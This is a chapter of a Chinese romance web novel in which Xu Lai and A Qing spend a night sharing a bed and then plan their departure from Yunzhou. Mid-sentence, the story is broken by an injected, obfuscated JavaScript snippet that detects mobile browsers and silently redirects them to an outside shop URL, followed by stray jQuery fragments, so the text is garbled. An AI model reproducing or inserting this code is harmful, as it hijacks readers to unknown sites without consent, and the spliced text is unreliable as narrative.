阿清眸光有些晦暗,他饶有兴致地看着她,轻笑着说:“你不介意便好。”
徐莱摸了摸鼻子,一时有些不知怎么回答。她倒是没想过自己介不介意,要说不介意,心里还是有些微妙的怪异,但要说介意,她似乎也没有更好的方法了。
“这是我那日买的男装,你今晚就将就地穿这个吧,可能有点紧。”徐莱又从另一个柜中取出叠得整整齐齐的衣服,递到他怀里。
她想的是,反正也就一晚上的事,明天就可以去阿清那将东西一并收拾过来。何况那晚她都能跟他在一张床上睡着,今晚状况可要好上许多。
阿清接过她手中的棉衣,布料柔软干燥,轻轻靠近,还有一种浅淡的香味,跟他靠在她发间时闻到的香味一样。
“你要先去洗浴吗?还是再休息一会。”徐莱将屋内的油灯全部点上,暖黄的烛光将屋内照得明亮温馨。
“你先去吧,我想再坐片刻。”阿清摇了摇头,坐到桌前,语气平和地说。
徐莱看见他忽然将手伸向那堆话本子。轻声问道:“我可以看看吗?”
“嗯,你要是无趣的话便看吧。”她想着左右不过是些消遣的内容,他又不是徐嫣这种小孩子,没什么看不得的。
徐莱抱起衣服,慢吞吞地向浴室走去,她边用余光看着阿清。
得了她的应可,阿清小心地从中抽出一本,开始翻阅起来。他长长的睫羽将眼底的情绪全部挡住,面容平静看不出起伏。
徐莱想着这种话本子她都是一目十行地看过去,看个爽的情绪便是了。他看得这么认真,莫非,莫非是将它当成了什么教材?
她猛地顿住,这个想法也太过荒谬了,就凭阿清这个粘人的样子,哪里还需要从话本里学东西。
她想到这里有些脸红,便不再偷偷去看他,快步地离开了屋内。
徐莱简单地清洗了一番,从热水里出来后,浑身肌肉好似都得到了舒缓,疲倦一扫而空,整个人都神清气爽起来。
她推开屋门,却不见阿清的身影,桌上话本已被放回原处,其余杂乱的物件也都被摆放的整整齐齐。
她正奇怪着,却看见他推开门,手里端着一碗洗净切好的桃子,轻轻放在她面前。
“我去洗浴了,你饿了可以吃些桃子。”阿清温声道。
徐莱又是感动又是羞恼,在他眼里,自己究竟是怎么个形象了。晚饭才大吃了一顿,还没过去多久,自己又饿了。
虽然是这么想的,但是她动作还是很诚实,用勺子舀起白嫩的桃肉放到嘴里,只要轻轻一咬,甜美的汁水便溢满了整个唇腔。
她光吃还不够,觉得有些无聊,便也顺手拿起最上方的话本子,刚好趁这个机会,让她来细细品鉴一番。
才翻看了没几页,她就变了脸上,这话本子讲得无非是些男女之间的情意绵绵,最多不过描写些拥抱亲吻的画面,更深入的都只是一笔带过。
只是为何,有关这种动作的描述下面,都被用笔轻轻勾画了起来。她一下就反应过来,定然是徐嫣干的,她快速取出剩下的话本子,顺着记忆翻看着,果然每一本都没逃过她的“魔爪”。
徐莱并不生气,只是觉得有些好笑,但随即她便意识到什么。
方才阿清看得那么认真,他不会以为这些线,都是她画的吧?
徐莱不敢再想下去,一边翻看着内容,一边想着要怎么才能不刻意地解释。
她越看头越大,越是紧张刺激的内容那线就越是密集,他不会以为自己,自己是什么超级大变态吧。
嘴里的桃子突然也没了味道,她又得想着怎么正确引导徐嫣又得抱着自己的名声,实在是有些头大。
偏偏这时候门被推开了,阿清带着水汽进了屋。他乌黑的发间还挂着水珠,面庞愈发白皙,整个人像刚在冰冽的雪水里泡过一般,散发着凉意。
徐莱咽了咽口水,忙将话本推到一边,笑着看他:“这衣裳果然有些小了,你手腕都露了一大截在外面。”
阿清嘴角微勾,将目光移回到她身上,似乎什么也没察觉。
徐莱看着他逐渐离自己越来越近,不由得有些紧张。她第一次见他洗浴完后的样子,她一直觉得,这种样子只有很亲密的人才能看到。
她心底又泛起细密的痒意,阿清这张脸变得愈发有些勾人,离得这样近,她只怕连他眼睫上挂了几颗水珠都能数清。
徐莱忽然有一种错觉,阿清是不是很清楚自己的喜好,所以每次在他面前都扮作一副“柔弱”的样子。
但她随即便打消了这个念头,她分明是在见到他的第一眼时,就立马记住了他这张惊为天人的脸蛋。
“在看什么?”屋内只放得下一张椅子,阿清站在徐莱身上,俯身将凑到她脸颊旁,柔声问道。
徐莱觉得他这是明知故问,但她还没想好要怎么解释,万一他根本没想到那方面去,倒显得他做贼心虚了。
她忙舀起桃肉,递到他的唇边。“没看什么,这桃子很甜,你快尝尝看。”
阿清自然地就着她的手将桃肉吃进嘴中,眼底带上满意的笑意。
徐莱一口接一口地将剩下的桃肉都喂完,见他没有要提这事的想法,才微微放下心来。
阿清尝不出她说的什么甜味,但是他很喜欢她喂他时的表情。他忽然很想知道,自己喂她时,她会是什么反应。
他将瓷碗带出去清洗干净,有端来清水给徐莱漱口。徐莱有些愧疚,究竟是谁照顾谁了。
她趁他不再麻溜了爬上了床榻,将毯子摊开,幸好还是够两个人一起盖着。
她将自己缩到一侧,留出了一大块位置,想着这样应该足够阿清睡了。
阿清将油灯吹灭,徐莱的眼睛还不适应突如其来的黑暗,她感觉自己掉进了一个漆黑的空间。
她背对着轻轻躺在身畔的男子,将头埋进枕头里。虽然看不见他的动作,但是越来越浓郁的兰香让她心跳加快,她能感受到阿清离她越来越近。
就在她以为他要抱住她又或是什么时,却只感觉身上多了一条毯子。
她为了给阿清多一点位置,只给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663527|183932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己留了一点毯子,只要再转动一点身体,那毯子便会形同虚设般从她身上跑走。
如今身体却被毯子尽数裹住,徐莱正要动手将毯子扯出去一点,却被带着凉意的手指按住动作。
“别动了,我能盖到,你快些睡吧。”声音温柔似水,有带着无尽的安抚。
徐莱也不再乱动,带着凉意的手指便从她身上离去,屋内陷入无限的寂静。
她逐渐被困意占据了所有理智,她下意识地轻声说了一句:“晚安阿清。”便困得再说不出话,沉沉睡去了。
阿清并未听过“晚安”二字的语调,他虽然不知道是什么意思,但是听着她均匀浅薄的呼吸声,将头轻轻靠在她发间,也低声道:“晚安阿风。”
半夜窗外又开始下雨,砸在木窗上发出“劈里啪啦”的声音,带起点点凉意。
徐莱下意识地裹紧被子,一边找寻着更温暖的地方。
阿清睡得很浅,身侧人微微一动,他便警觉得睁开眼,待反应过来身在何处后,他目光才柔软下来。
徐莱好不容易找到一个会发热的地方,便心满意足地窝了进去。心想这地方真好,还能将她包裹得紧紧的。
阿清指节轻柔地擦过她的脸颊,眼底翻涌着晦暗的情意。他慢慢收紧收臂,直到将她牢牢捆在自己怀里,才满意地闭上了眼睛。
*
徐莱肆意地翻了个身,抱着松松软软的被子一觉睡到自然醒的感觉不要太好。
她四仰八叉地将身体铺满整个床铺,阳光透过窗缝落在她脸上,神识逐渐恢复清醒。
“睡醒了,要不要起来用早膳?”耳边传来男子温柔的低语。
徐莱这才意识到什么,她立马收回自己乱放的手脚,有些紧张地看着他,阿清正半倚在床上,垂眸看着她。
“我,我昨晚睡着后没对你动手动脚吧?”她咽了咽口水,不确定地问道。
阿清:“没有,阿风很乖。”
徐莱将信将疑地穿好外衣,她只能默默祈祷自己完全睡着时会安分许多。
桌上照例是白粥和小菜,一旁还放着新鲜洗净的桃子。
她快速地喝了几口粥,对着正静坐在一旁默默注视她的青年道:“我今日要去盐铺,先要将陈争广存在那的银票取出,然后从揽春楼把妙音姑娘赎出来。
再就是我想着我们既然要离开云州,那我便也当不了这南广盐铺的掌柜了。不妨直接将掌柜一职交给张禄,这段时日也都是他在打理盐铺事宜。”
她方才在心里已浅浅算过一遍,加上盐铺应给她的分成,她如今手里应该能有近一百两银子。待找到一个合适的城市,便开上一间小铺子,不说大富大贵的生活,生活倒也平淡富足。
阿清正细心地替她削着桃子,他将桃肉放到白净的瓷碗里,轻笑道:“好,我陪你一起去。”
徐莱内心还是有些忐忑,不知为何,她总觉得阿清对于搬离云州一事,总是避而不谈地敷衍过去。
她接过他递来的满满一碗桃肉,莫非他心里有什么别的考量?